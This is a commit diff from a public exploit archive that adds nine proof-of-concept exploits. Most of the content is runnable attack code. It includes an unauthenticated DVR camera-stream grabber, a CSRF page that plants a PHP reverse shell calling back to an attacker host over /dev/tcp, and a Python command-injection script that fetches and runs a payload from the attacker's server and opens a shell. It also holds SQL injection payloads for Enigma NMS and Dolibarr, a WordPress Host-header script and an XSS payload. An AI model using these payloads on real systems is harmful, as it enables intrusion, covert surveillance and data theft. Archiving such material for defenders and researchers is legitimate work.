DB: 2019-09-10
9 changes to exploits/shellcodes WordPress 5.2.3 - Cross-Site Host Modification Dolibarr ERP-CRM 10.0.1 - 'elemid' SQL Injection Enigma NMS 65.0.0 - Cross-Site Request Forgery Enigma NMS 65.0.0 - OS Command Injection Enigma NMS 65.0.0 - SQL Injection Online Appointment - SQL Injection Rifatron Intelligent Digital Security System - 'animate.cgi' Stream Disclosure WordPress Plugin Sell Downloads 1.0.86 - Cross-Site Scripting Dolibarr ERP-CRM 10.0.1 - SQL Injection
This commit is contained in:
Offensive Security
parent
ad97ff4198
commit
fcce3705a3
10 changed files with 578 additions and 0 deletions
75
exploits/cgi/webapps/47368.sh
Executable file
75
exploits/cgi/webapps/47368.sh
Executable file
|
|
@ -0,0 +1,75 @@
|
||||||
|
#!/bin/bash
|
||||||
|
#
|
||||||
|
#
|
||||||
|
# Rifatron Intelligent Digital Security System (animate.cgi) Stream Disclosure
|
||||||
|
#
|
||||||
|
#
|
||||||
|
# Vendor: Rifatron Co., Ltd. | SAM MYUNG Co., Ltd.
|
||||||
|
# Product web page: http://www.rifatron.com
|
||||||
|
# Affected version: 5brid DVR (HD6-532/516, DX6-516/508/504, MX6-516/508/504, EH6-504)
|
||||||
|
# 7brid DVR (HD3-16V2, DX3-16V2/08V2/04V2, MX3-08V2/04V2)
|
||||||
|
# Firmware: <=8.0 (000143)
|
||||||
|
#
|
||||||
|
#
|
||||||
|
# Summary: Rifatron with its roots in Seoul, Korea has been supplying and
|
||||||
|
# servicing the security market as a leading CCTV/video surveillance security
|
||||||
|
# system manufacturer, specializing in stand-alone digital video recorder since
|
||||||
|
# 1998. We are known for marking the first standalone DVR with audio detection
|
||||||
|
# and 480 frames per secone(fps) and have been focusing on highend products and
|
||||||
|
# large projects in a variety applications and merket. These include government
|
||||||
|
# and public services, banking and finance, hotels and entertatinment, retail
|
||||||
|
# education, industrial and commercial sectors throughout Europe, Middle East,
|
||||||
|
# the U.S. and Asia. Based on the accumulated know-how in the security industry,
|
||||||
|
# Rifatron is trying its utmost for the technology development and customer
|
||||||
|
# satisfaction to be the best security solution company in the world.
|
||||||
|
#
|
||||||
|
# Desc: The DVR suffers from an unauthenticated and unauthorized live stream
|
||||||
|
# disclosure when animate.cgi script is called through Mobile Web Viewer module.
|
||||||
|
#
|
||||||
|
# Tested on: Embedded Linux
|
||||||
|
# Boa/0.94.14rc21
|
||||||
|
#
|
||||||
|
#
|
||||||
|
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||||||
|
# @zeroscience
|
||||||
|
#
|
||||||
|
#
|
||||||
|
# Advisory ID: ZSL-2019-5532
|
||||||
|
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5532.php
|
||||||
|
#
|
||||||
|
#
|
||||||
|
# 03.09.2019
|
||||||
|
#
|
||||||
|
|
||||||
|
#{PoC}
|
||||||
|
#
|
||||||
|
set -euo pipefail
|
||||||
|
IFS=$'\n\t'
|
||||||
|
if [ "$#" -ne 2 ]; then
|
||||||
|
echo "Usage: $0 IP:PORT CHANNEL" # Valid channel integers: 0-15
|
||||||
|
echo "Ex.: $0 10.9.8.7:65432 10"
|
||||||
|
exit
|
||||||
|
fi
|
||||||
|
IP=$1
|
||||||
|
CHANNEL=$2
|
||||||
|
HOST="http://$IP/cgi-bin/animate.cgi?$CHANNEL"
|
||||||
|
STATUS=$(curl -Is http://$IP/mobile_viewer_login.html 2>/dev/null | head -1 | awk -F" " '{print $2}')
|
||||||
|
if [ "$STATUS" == "404" ]; then
|
||||||
|
echo "Target not vulnerable!"
|
||||||
|
exit
|
||||||
|
fi
|
||||||
|
echo "Collecting snapshots..."
|
||||||
|
for x in {1..10};
|
||||||
|
do echo -ne $x
|
||||||
|
curl "$HOST" -o sequence-$x.jpg -#;
|
||||||
|
sleep 0.6
|
||||||
|
done
|
||||||
|
echo -ne "\nDone."
|
||||||
|
echo -ne "\nRendering video..."
|
||||||
|
ffmpeg -t 10 -v quiet -s 352x288 -r 1 -an -i sequence-%01d.jpg -c:v libx264 -vf fps=10 -pix_fmt yuvj422p video.mp4
|
||||||
|
echo " done."
|
||||||
|
echo -ne "\nRunning animation..."
|
||||||
|
sleep 1
|
||||||
|
cvlc video.mp4 --verbose -1 -f vlc://quit
|
||||||
|
#
|
||||||
|
#{/PoC}
|
||||||
69
exploits/multiple/webapps/47363.html
Normal file
69
exploits/multiple/webapps/47363.html
Normal file
|
|
@ -0,0 +1,69 @@
|
||||||
|
#--------------------------------------------------------------------#
|
||||||
|
# Exploit Title: Enigma NMS Cross-Site Request Forgery (CSRF) #
|
||||||
|
# Date: 21 July 2019 #
|
||||||
|
# Author: Mark Cross (@xerubus | mogozobo.com) #
|
||||||
|
# Vendor: NETSAS Pty Ltd #
|
||||||
|
# Vendor Homepage: https://www.netsas.com.au/ #
|
||||||
|
# Software Link: https://www.netsas.com.au/enigma-nms-introduction/ #
|
||||||
|
# Version: Enigma NMS 65.0.0 #
|
||||||
|
# CVE-IDs: CVE-2019-16068 #
|
||||||
|
# Full write-up: https://www.mogozobo.com/?p=3647 #
|
||||||
|
#--------------------------------------------------------------------#
|
||||||
|
_ _
|
||||||
|
___ (~ )( ~)
|
||||||
|
/ \_\ \/ /
|
||||||
|
| D_ ]\ \/ -= Enigma CSRF by @xerubus =-
|
||||||
|
| D _]/\ \ -= We all have something to hide =-
|
||||||
|
\___/ / /\ \\
|
||||||
|
(_ )( _)
|
||||||
|
@Xerubus
|
||||||
|
|
||||||
|
The following CSRF will create a PHP file for executing a reverse shell on port 1337 via the user upload functionality within the NMS web application.
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<script>history.pushState('', '', '/')</script>
|
||||||
|
<script>
|
||||||
|
function submitRequest()
|
||||||
|
{
|
||||||
|
var xhr = new XMLHttpRequest();
|
||||||
|
xhr.open("POST", "http:\/\/<enigma_nms_ipaddr>\/cgi-bin\/protected\/manage_files.cgi", true);
|
||||||
|
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
|
||||||
|
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
|
||||||
|
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------208051173310446317141640314495");
|
||||||
|
xhr.withCredentials = true;
|
||||||
|
|
||||||
|
var body = "-----------------------------208051173310446317141640314495\r\n" +
|
||||||
|
"Content-Disposition: form-data; name=\"action\"\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"system_upgrade\r\n" +
|
||||||
|
"-----------------------------208051173310446317141640314495\r\n" +
|
||||||
|
"Content-Disposition: form-data; name=\"action_aux\"\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"upload_file_complete\r\n" +
|
||||||
|
"-----------------------------208051173310446317141640314495\r\n" +
|
||||||
|
"Content-Disposition: form-data; name=\"upfile\"; filename=\"evil.php\"\r\n" +
|
||||||
|
"Content-Type: application/x-php\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"\x3c?php\n" +
|
||||||
|
"\n" +
|
||||||
|
"exec(\"/bin/bash -c \'bash -i \x3e& /dev/tcp/<attacking_host_ipaddr>/1337 0\x3e&1\'\");\n" +
|
||||||
|
"\n" +
|
||||||
|
"?\x3e\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"-----------------------------208051173310446317141640314495\r\n" +
|
||||||
|
"Content-Disposition: form-data; name=\"upfile_name\"\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"evil.php\r\n" +
|
||||||
|
"-----------------------------208051173310446317141640314495--\r\n";
|
||||||
|
|
||||||
|
var aBody = new Uint8Array(body.length);
|
||||||
|
for (var i = 0; i < aBody.length; i++)
|
||||||
|
aBody[i] = body.charCodeAt(i);
|
||||||
|
xhr.send(new Blob([aBody]));
|
||||||
|
}
|
||||||
|
submitRequest();
|
||||||
|
window.location='http://<enigma_nms_ipaddr>/cgi-bin/protected/discover_and_manage.cgi?action=snmp_browser';
|
||||||
|
</script>
|
||||||
|
<body onload="submitRequest();" >
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
66
exploits/multiple/webapps/47364.py
Executable file
66
exploits/multiple/webapps/47364.py
Executable file
|
|
@ -0,0 +1,66 @@
|
||||||
|
#!/usr/bin/python
|
||||||
|
#--------------------------------------------------------------------#
|
||||||
|
# Exploit Title: Enigma NMS OS Command Injection #
|
||||||
|
# NETSAS Pty Ltd Enigma NMS #
|
||||||
|
# Date: 21 July 2019 #
|
||||||
|
# Author: Mark Cross (@xerubus | mogozobo.com) #
|
||||||
|
# Vendor: NETSAS Pty Ltd #
|
||||||
|
# Vendor Homepage: https://www.netsas.com.au/ #
|
||||||
|
# Software Link: https://www.netsas.com.au/enigma-nms-introduction/ #
|
||||||
|
# Version: Enigma NMS 65.0.0 #
|
||||||
|
# CVE-IDs: CVE-2019-16072 #
|
||||||
|
# Full write-up: https://www.mogozobo.com/?p=3647 #
|
||||||
|
#--------------------------------------------------------------------#
|
||||||
|
|
||||||
|
import sys, time, os, subprocess, signal, requests, socket, SocketServer, SimpleHTTPServer, threading
|
||||||
|
|
||||||
|
os.system('clear')
|
||||||
|
|
||||||
|
print("""\
|
||||||
|
_ _
|
||||||
|
___ (~ )( ~)
|
||||||
|
/ \_\ \/ /
|
||||||
|
| D_ ]\ \/ -= Enigma NMS Reverse Shell by @xerubus =-
|
||||||
|
| D _]/\ \ -= We all have something to hide =-
|
||||||
|
\___/ / /\ \\
|
||||||
|
(_ )( _)
|
||||||
|
@Xerubus
|
||||||
|
""")
|
||||||
|
|
||||||
|
enigma_host = raw_input("Enter Enigma NMS IP address:\t")
|
||||||
|
attack_host = raw_input("Enter Attacker IP address:\t")
|
||||||
|
rev_sh_port = raw_input("Enter reverse shell port:\t")
|
||||||
|
web_svr_port = raw_input("Enter web server port:\t\t")
|
||||||
|
user = raw_input("Enter Username:\t\t\t")
|
||||||
|
os.system("stty -echo")
|
||||||
|
password = raw_input("Enter Password (no echo):\t")
|
||||||
|
os.system("stty echo")
|
||||||
|
|
||||||
|
enigma_url = "http://" + enigma_host + "/cgi-bin/protected/discover_and_manage.cgi?action=snmp_browser&hst_id=none&snmpv3_profile_id=&ip_address=|curl%20" + attack_host + ":" + web_svr_port + "/evil.php|php&snmp_ro_string=public&mib_oid=system&mib_oid_manual=.1.3.6.1.2.1.1&snmp_version=1"
|
||||||
|
enigma_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "http://" + attack_host + "/cgi-bin/protected/discover_and_manage.cgi?action=snmp_browser", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
|
||||||
|
|
||||||
|
print "\n\n[+] Building PHP reverse shell"
|
||||||
|
f=open("evil.php","w")
|
||||||
|
f.write("<?php\nexec(\"/bin/bash -c \'bash -i >& /dev/tcp/" + attack_host + "/" + rev_sh_port + " 0>&1\'\");\n?>\n")
|
||||||
|
f.close()
|
||||||
|
|
||||||
|
# Create simple webserver hosting evil php file
|
||||||
|
print "[+] Hosting PHP reverse shell"
|
||||||
|
web_svr_port = str(web_svr_port)
|
||||||
|
web_svr = subprocess.Popen(["python", "-m", "SimpleHTTPServer", web_svr_port], stdout=subprocess.PIPE, shell=False, preexec_fn=os.setsid)
|
||||||
|
|
||||||
|
# Create netcat listener
|
||||||
|
print "[+] Creating listener on port " + rev_sh_port
|
||||||
|
subprocess.Popen(["nc", "-nvlp", rev_sh_port])
|
||||||
|
|
||||||
|
# Send payload to Enigma NMS
|
||||||
|
print "[+] Sending payload\n"
|
||||||
|
try:
|
||||||
|
r = requests.get(enigma_url, headers=enigma_headers, auth=(user, password))
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
print "\n[+] Cleaning up mess..."
|
||||||
|
|
||||||
|
# Shut down http server
|
||||||
|
os.killpg(os.getpgid(web_svr.pid), signal.SIGTERM)
|
||||||
23
exploits/multiple/webapps/47365.txt
Normal file
23
exploits/multiple/webapps/47365.txt
Normal file
|
|
@ -0,0 +1,23 @@
|
||||||
|
#--------------------------------------------------------------------#
|
||||||
|
# Exploit Title: Enigma NMS search_pattern SQL Injection #
|
||||||
|
# Date: 21 July 2019 #
|
||||||
|
# Author: Mark Cross (@xerubus | mogozobo.com) #
|
||||||
|
# Vendor: NETSAS Pty Ltd #
|
||||||
|
# Vendor Homepage: https://www.netsas.com.au/ #
|
||||||
|
# Software Link: https://www.netsas.com.au/enigma-nms-introduction/ #
|
||||||
|
# Version: Enigma NMS 65.0.0 #
|
||||||
|
# CVE-IDs: CVE-2019-16065 #
|
||||||
|
# Full write-up: https://www.mogozobo.com/?p=3647 #
|
||||||
|
#--------------------------------------------------------------------#
|
||||||
|
_ _
|
||||||
|
___ (~ )( ~)
|
||||||
|
/ \_\ \/ /
|
||||||
|
| D_ ]\ \/ -= Enigma SQLi by @xerubus =-
|
||||||
|
| D _]/\ \ -= We all have something to hide =-
|
||||||
|
\___/ / /\ \\
|
||||||
|
(_ )( _)
|
||||||
|
@Xerubus
|
||||||
|
|
||||||
|
Request: http://<enigma_nms_ipaddr>/cgi-bin/protected/manage_hosts_short.cgi?action=search_proceed&search_pattern=
|
||||||
|
Vulnerable Parameter: search_pattern (GET)
|
||||||
|
Payload: action=search_proceed&search_pattern=a%' AND SLEEP(5) AND '%'='
|
||||||
91
exploits/php/webapps/47361.pl
Executable file
91
exploits/php/webapps/47361.pl
Executable file
|
|
@ -0,0 +1,91 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
#
|
||||||
|
# Wordpress <= 5.2.3 Remote Cross Site Host Modification Proof Of Concept Demo Exploit
|
||||||
|
#
|
||||||
|
# Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>
|
||||||
|
#
|
||||||
|
# Type: Remote
|
||||||
|
# Risk: High
|
||||||
|
#
|
||||||
|
# Solution:
|
||||||
|
# Set security headers to web server and no-cache for Cache-Control
|
||||||
|
#
|
||||||
|
# Simple Attack Scenarios:
|
||||||
|
#
|
||||||
|
# o This attack can bypass Simple WAF to access restricted content on the web server,
|
||||||
|
# something like phpMyAdmin;
|
||||||
|
#
|
||||||
|
# o This attack can deface the vulnerable Wordpress website with content from the default vhost;
|
||||||
|
#
|
||||||
|
# Disclaimer:
|
||||||
|
# This or previous programs are for Educational purpose ONLY. Do not use it without permission.
|
||||||
|
# The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages
|
||||||
|
# caused by direct or indirect use of the information or functionality provided by these programs.
|
||||||
|
# The author or any Internet provider bears NO responsibility for content or misuse of these programs
|
||||||
|
# or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss,
|
||||||
|
# system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's
|
||||||
|
# responsibility.
|
||||||
|
#
|
||||||
|
# Use them at your own risk!
|
||||||
|
#
|
||||||
|
# # Wordpress <= 5.2.3 Remote Cross Site Host Modification Proof Of Concept Demo Exploit
|
||||||
|
# # ====================================================================================
|
||||||
|
# # Author: Todor Donev 2019 (c) <todor.donev at gmail.com>
|
||||||
|
# # > Host => default-vhost.com
|
||||||
|
# # > User-Agent => Mozilla/5.0 (compatible; Konqueror/3.5; NetBSD 4.0_RC3; X11) KHTML/3.5.7 (like Gecko)
|
||||||
|
# # > Content-Type => application/x-www-form-urlencoded
|
||||||
|
# # < Connection => close
|
||||||
|
# # < Date => Fri, 06 Sep 2019 11:39:43 GMT
|
||||||
|
# # < Location => https://default-vhost.com/
|
||||||
|
# # < Server => nginx
|
||||||
|
# # < Content-Type => text/html; charset=UTF-8
|
||||||
|
# # < Client-Date => Fri, 06 Sep 2019 11:39:43 GMT
|
||||||
|
# # < Client-Peer => 13.37.13.37:443
|
||||||
|
# # < Client-Response-Num => 1
|
||||||
|
# # < Client-SSL-Cert-Issuer => /C=US/O=Let's Encrypt/CN=Let's Encrypt Authority X3
|
||||||
|
# # < Client-SSL-Cert-Subject => /CN=default-vhost.com
|
||||||
|
# # < Client-SSL-Cipher => ECDHE-RSA-AES256-GCM-SHA384
|
||||||
|
# # < Client-SSL-Socket-Class => IO::Socket::SSL
|
||||||
|
# # < Client-SSL-Warning => Peer certificate not verified
|
||||||
|
# # < Client-Transfer-Encoding => chunked
|
||||||
|
# # < Strict-Transport-Security => max-age=31536000;
|
||||||
|
# # < X-Powered-By => PHP/7.3.9
|
||||||
|
# # < X-Redirect-By => WordPress
|
||||||
|
# # ====================================================================================
|
||||||
|
#
|
||||||
|
#
|
||||||
|
#
|
||||||
|
use strict;
|
||||||
|
use v5.10;
|
||||||
|
use HTTP::Request;
|
||||||
|
use LWP::UserAgent;
|
||||||
|
use WWW::UserAgent::Random;
|
||||||
|
|
||||||
|
|
||||||
|
my $host = shift || '';
|
||||||
|
my $attacker = shift || 'default-vhost.com';
|
||||||
|
|
||||||
|
|
||||||
|
say "# Wordpress <= 5.2.3 Remote Cross Site Host Modification Proof Of Concept Demo Exploit
|
||||||
|
# ====================================================================================
|
||||||
|
# Author: Todor Donev 2019 (c) <todor.donev at gmail.com>";
|
||||||
|
if ($host !~ m/^http/){
|
||||||
|
say "# e.g. perl $0 https://target:port/ default-vhost.com";
|
||||||
|
exit;
|
||||||
|
}
|
||||||
|
|
||||||
|
my $user_agent = rand_ua("browsers");
|
||||||
|
my $browser = LWP::UserAgent->new(
|
||||||
|
protocols_allowed => ['http', 'https'],
|
||||||
|
ssl_opts => { verify_hostname => 0 }
|
||||||
|
);
|
||||||
|
$browser->timeout(10);
|
||||||
|
$browser->agent($user_agent);
|
||||||
|
|
||||||
|
my $request = HTTP::Request->new (POST => $host,[Content_Type => "application/x-www-form-urlencoded"], " ");
|
||||||
|
$request->header("Host" => $attacker);
|
||||||
|
my $response = $browser->request($request);
|
||||||
|
say "# 401 Unauthorized!\n" and exit if ($response->code eq '401');
|
||||||
|
say "# > $_ => ", $request->header($_) for $request->header_field_names;
|
||||||
|
say "# < $_ => ", $response->header($_) for $response->header_field_names;
|
||||||
|
say "# ====================================================================================";
|
||||||
49
exploits/php/webapps/47362.txt
Normal file
49
exploits/php/webapps/47362.txt
Normal file
|
|
@ -0,0 +1,49 @@
|
||||||
|
# Exploit Title: Dolibarr ERP/CRM - elemid Sql Injection
|
||||||
|
# Exploit Author: Metin Yunus Kandemir (kandemir)
|
||||||
|
# Vendor Homepage: https://www.dolibarr.org/
|
||||||
|
# Software Link: https://www.dolibarr.org/downloads
|
||||||
|
# Version: 10.0.1
|
||||||
|
# Category: Webapps
|
||||||
|
# Tested on: Xampp for Linux
|
||||||
|
# Software Description : Dolibarr ERP & CRM is a modern and easy to use
|
||||||
|
software package to manage your business...
|
||||||
|
==================================================================
|
||||||
|
|
||||||
|
|
||||||
|
elemid (POST) - Sql injection PoC
|
||||||
|
|
||||||
|
|
||||||
|
POST /dolibarr-10.0.1/htdocs/categories/viewcat.php HTTP/1.1
|
||||||
|
Host: localhost
|
||||||
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
|
||||||
|
Firefox/60.0
|
||||||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||||
|
Accept-Language: en-US,en;q=0.5
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
Referer:
|
||||||
|
http://localhost/dolibarr-10.0.1/htdocs/categories/viewcat.php?id=102&type=product&backtopage=%2Fdolibarr-10.0.1%2Fhtdocs%2Fcategories%2Findex.php
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
Content-Length: 143
|
||||||
|
Cookie:
|
||||||
|
DOLSESSID_60ec554596b730ca6f03816d85cd400a=149432620a831537e75f713330bb0b45
|
||||||
|
Connection: close
|
||||||
|
Upgrade-Insecure-Requests: 1
|
||||||
|
|
||||||
|
token=%242y%2410%24WgwCdl0XwjnGlV3qpQ%2F7zeLEp%2FXFVVoWaj17gXqY2nYZFvG1dlzsS&typeid=product&type=product&id=102&action=addintocategory&elemid=[SQLi]
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Parameter: elemid (POST)
|
||||||
|
Type: error-based
|
||||||
|
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP
|
||||||
|
BY clause (EXTRACTVALUE)
|
||||||
|
Payload:
|
||||||
|
token=$2y$10$WgwCdl0XwjnGlV3qpQ/7zeLEp/XFVVoWaj17gXqY2nYZFvG1dlzsS&typeid=product&type=product&id=102&action=addintocategory&elemid=0
|
||||||
|
AND EXTRACTVALUE(7549,CONCAT(0x5c,0x71706a7171,(SELECT
|
||||||
|
(ELT(7549=7549,1))),0x7176787a71))
|
||||||
|
|
||||||
|
Type: time-based blind
|
||||||
|
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
|
||||||
|
Payload:
|
||||||
|
token=$2y$10$WgwCdl0XwjnGlV3qpQ/7zeLEp/XFVVoWaj17gXqY2nYZFvG1dlzsS&typeid=product&type=product&id=102&action=addintocategory&elemid=0
|
||||||
|
AND (SELECT 6353 FROM (SELECT(SLEEP(5)))aOzn)
|
||||||
39
exploits/php/webapps/47366.txt
Normal file
39
exploits/php/webapps/47366.txt
Normal file
|
|
@ -0,0 +1,39 @@
|
||||||
|
# Exploit Title: Online Appointment SQL Injection
|
||||||
|
# Data: 07.09.2019
|
||||||
|
# Exploit Author: mohammad zaheri
|
||||||
|
# Vendor HomagePage: https://github.com/girish03/Online-Appointment-Booking-System
|
||||||
|
# Tested on: Windows
|
||||||
|
# Google Dork: N/A
|
||||||
|
|
||||||
|
|
||||||
|
=========
|
||||||
|
Vulnerable Page:
|
||||||
|
=========
|
||||||
|
Online-Appointment-Booking-System-master/signup.php
|
||||||
|
|
||||||
|
|
||||||
|
==========
|
||||||
|
Vulnerable Source:
|
||||||
|
==========
|
||||||
|
Line 52: $name=$_POST['fname'];
|
||||||
|
Line 53: $gender=$_POST['gender'];
|
||||||
|
Line 54: $dob=$_POST['dob'];
|
||||||
|
Line 55: $contact=$_POST['contact'];
|
||||||
|
Line 56: $email=$_POST['email'];
|
||||||
|
Line 57: $username=$_POST['username'];
|
||||||
|
Line 58: $password=$_POST['pwd'];
|
||||||
|
Line 59: $prepeat=$_POST['pwdr'];
|
||||||
|
Line 62: if (mysqli_query($conn, $sql))
|
||||||
|
|
||||||
|
=========
|
||||||
|
POC:
|
||||||
|
=========
|
||||||
|
http://site.com/Online-Appointment-Booking-System-master/signup.php?sql=[SQL]
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
=========
|
||||||
|
Contact Me :
|
||||||
|
=========
|
||||||
|
Telegram : @m_zhrii
|
||||||
|
Email : neoboy503@gmail.com
|
||||||
17
exploits/php/webapps/47369.txt
Normal file
17
exploits/php/webapps/47369.txt
Normal file
|
|
@ -0,0 +1,17 @@
|
||||||
|
# Exploit Title: WordPress Plugin Sell Downloads 1.0.86 - Cross Site Scripting
|
||||||
|
# Exploit Author: Mr Winst0n
|
||||||
|
# Author E-mail: manamtabeshekan@gmail.com
|
||||||
|
# Discovery Date: September 09,2019
|
||||||
|
# Vendor Homepage: https://wordpress.dwbooster.com/content-tools/sell-downloads
|
||||||
|
# Software Link : https://wordpress.org/plugins/sell-downloads/
|
||||||
|
# Tested Version: 1.0.86
|
||||||
|
# Tested on: Parrot OS, Wordpress 5.1.1
|
||||||
|
|
||||||
|
|
||||||
|
# PoC:
|
||||||
|
1- Go to "Products for Sale" section
|
||||||
|
2- Click on "Add New"
|
||||||
|
3- In opend window click on "Add Comment"
|
||||||
|
4- Fill comment as "/><img src=x onerror="alert()"> or "/><input type="text" onclick="alert()">
|
||||||
|
5- Click on "Publish" (or "Update" if you editing an existing product)
|
||||||
|
6- You will see a pop-up (also if click on input), Also if you go to product link will see the pop-up.
|
||||||
140
exploits/php/webapps/47370.txt
Normal file
140
exploits/php/webapps/47370.txt
Normal file
|
|
@ -0,0 +1,140 @@
|
||||||
|
# Exploit Title: Dolibarr ERP/CRM - Multiple Sql Injection
|
||||||
|
# Exploit Author: Metin Yunus Kandemir (kandemir)
|
||||||
|
# Vendor Homepage: https://www.dolibarr.org/
|
||||||
|
# Software Link: https://www.dolibarr.org/downloads
|
||||||
|
# Version: 10.0.1
|
||||||
|
# Category: Webapps
|
||||||
|
# Tested on: Xampp for Linux
|
||||||
|
# Software Description : Dolibarr ERP & CRM is a modern and easy to use
|
||||||
|
software package to manage your business...
|
||||||
|
==================================================================
|
||||||
|
|
||||||
|
|
||||||
|
actioncode (POST) - Sql injection PoC
|
||||||
|
|
||||||
|
http request:
|
||||||
|
|
||||||
|
POST /dolibarr-10.0.1/htdocs/comm/action/card.php HTTP/1.1
|
||||||
|
Host: localhost
|
||||||
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
|
||||||
|
Firefox/60.0
|
||||||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||||
|
Accept-Language: en-US,en;q=0.5
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
Referer:
|
||||||
|
http://localhost/dolibarr-10.0.1/htdocs/comm/action/card.php?action=edit&id=774
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
Content-Length: 610
|
||||||
|
Cookie:
|
||||||
|
DOLSESSID_60ec554596b730ca6f03816d85cd400a=aaf3a3b284478257b59be81cf1a70fc3
|
||||||
|
Connection: close
|
||||||
|
Upgrade-Insecure-Requests: 1
|
||||||
|
|
||||||
|
token=%242y%2410%24hG2u8WGSj3ynCl99dYPZGejK322YaCxkfSRW%2FIC0mt8vk7%2FGTtU8a&action=update&id=774&ref_ext=&actioncode=[SQLi]&label=Product+created&ap=09%2F05%2F2019&apday=05&apmonth=09&apyear=2019&aphour=16&apmin=59&apsec=10&p2=09%2F05%2F2019&p2day=05&p2month=09&p2year=2019&p2hour=16&p2min=59&p2sec=10&complete=-1&location=&removedassigned=&assignedtouser=-1&socid=-1&projectid=0&priority=&fk_element=178&elementtype=product¬e=Author%3A+admin%3Cbr%3E%0D%0AProduct+created&edit=Save
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Parameter: actioncode (POST)
|
||||||
|
Type: boolean-based blind
|
||||||
|
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or
|
||||||
|
GROUP BY clause
|
||||||
|
Payload:
|
||||||
|
token=$2y$10$hG2u8WGSj3ynCl99dYPZGejK322YaCxkfSRW/IC0mt8vk7/GTtU8a&action=update&id=774&ref_ext=&actioncode=AC_OTH_AUTO'
|
||||||
|
RLIKE (SELECT (CASE WHEN (5096=5096) THEN 0x41435f4f54485f4155544f ELSE
|
||||||
|
0x28 END))--
|
||||||
|
HQaG&label=Product+created&ap=09/05/2019&apday=05&apmonth=09&apyear=2019&aphour=16&apmin=59&apsec=10&p2=09/05/2019&p2day=05&p2month=09&p2year=2019&p2hour=16&p2min=59&p2sec=10&complete=-1&location=&removedassigned=&assignedtouser=-1&socid=-1&projectid=0&priority=&fk_element=178&elementtype=product¬e=Author%3A+admin%3Cbr%3E%0D%0AProduct+created&edit=Save
|
||||||
|
|
||||||
|
Type: error-based
|
||||||
|
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
|
||||||
|
BY clause (FLOOR)
|
||||||
|
Payload:
|
||||||
|
token=$2y$10$hG2u8WGSj3ynCl99dYPZGejK322YaCxkfSRW/IC0mt8vk7/GTtU8a&action=update&id=774&ref_ext=&actioncode=AC_OTH_AUTO'
|
||||||
|
AND (SELECT 1665 FROM(SELECT COUNT(*),CONCAT(0x716b707871,(SELECT
|
||||||
|
(ELT(1665=1665,1))),0x7170707071,FLOOR(RAND(0)*2))x FROM
|
||||||
|
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)--
|
||||||
|
XqJd&label=Product+created&ap=09/05/2019&apday=05&apmonth=09&apyear=2019&aphour=16&apmin=59&apsec=10&p2=09/05/2019&p2day=05&p2month=09&p2year=2019&p2hour=16&p2min=59&p2sec=10&complete=-1&location=&removedassigned=&assignedtouser=-1&socid=-1&projectid=0&priority=&fk_element=178&elementtype=product¬e=Author%3A+admin%3Cbr%3E%0D%0AProduct+created&edit=Save
|
||||||
|
|
||||||
|
Type: time-based blind
|
||||||
|
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
|
||||||
|
Payload:
|
||||||
|
token=$2y$10$hG2u8WGSj3ynCl99dYPZGejK322YaCxkfSRW/IC0mt8vk7/GTtU8a&action=update&id=774&ref_ext=&actioncode=AC_OTH_AUTO'
|
||||||
|
AND (SELECT 6833 FROM (SELECT(SLEEP(5)))gCwf)--
|
||||||
|
jPLl&label=Product+created&ap=09/05/2019&apday=05&apmonth=09&apyear=2019&aphour=16&apmin=59&apsec=10&p2=09/05/2019&p2day=05&p2month=09&p2year=2019&p2hour=16&p2min=59&p2sec=10&complete=-1&location=&removedassigned=&assignedtouser=-1&socid=-1&projectid=0&priority=&fk_element=178&elementtype=product¬e=Author%3A+admin%3Cbr%3E%0D%0AProduct+created&edit=Save
|
||||||
|
|
||||||
|
.
|
||||||
|
.
|
||||||
|
.
|
||||||
|
.
|
||||||
|
.
|
||||||
|
|
||||||
|
demand_reason_id, availability_id (POST) - Sql injection PoC
|
||||||
|
|
||||||
|
http request:
|
||||||
|
|
||||||
|
POST /dolibarr-10.0.1/htdocs/comm/propal/card.php HTTP/1.1
|
||||||
|
Host: localhost
|
||||||
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
|
||||||
|
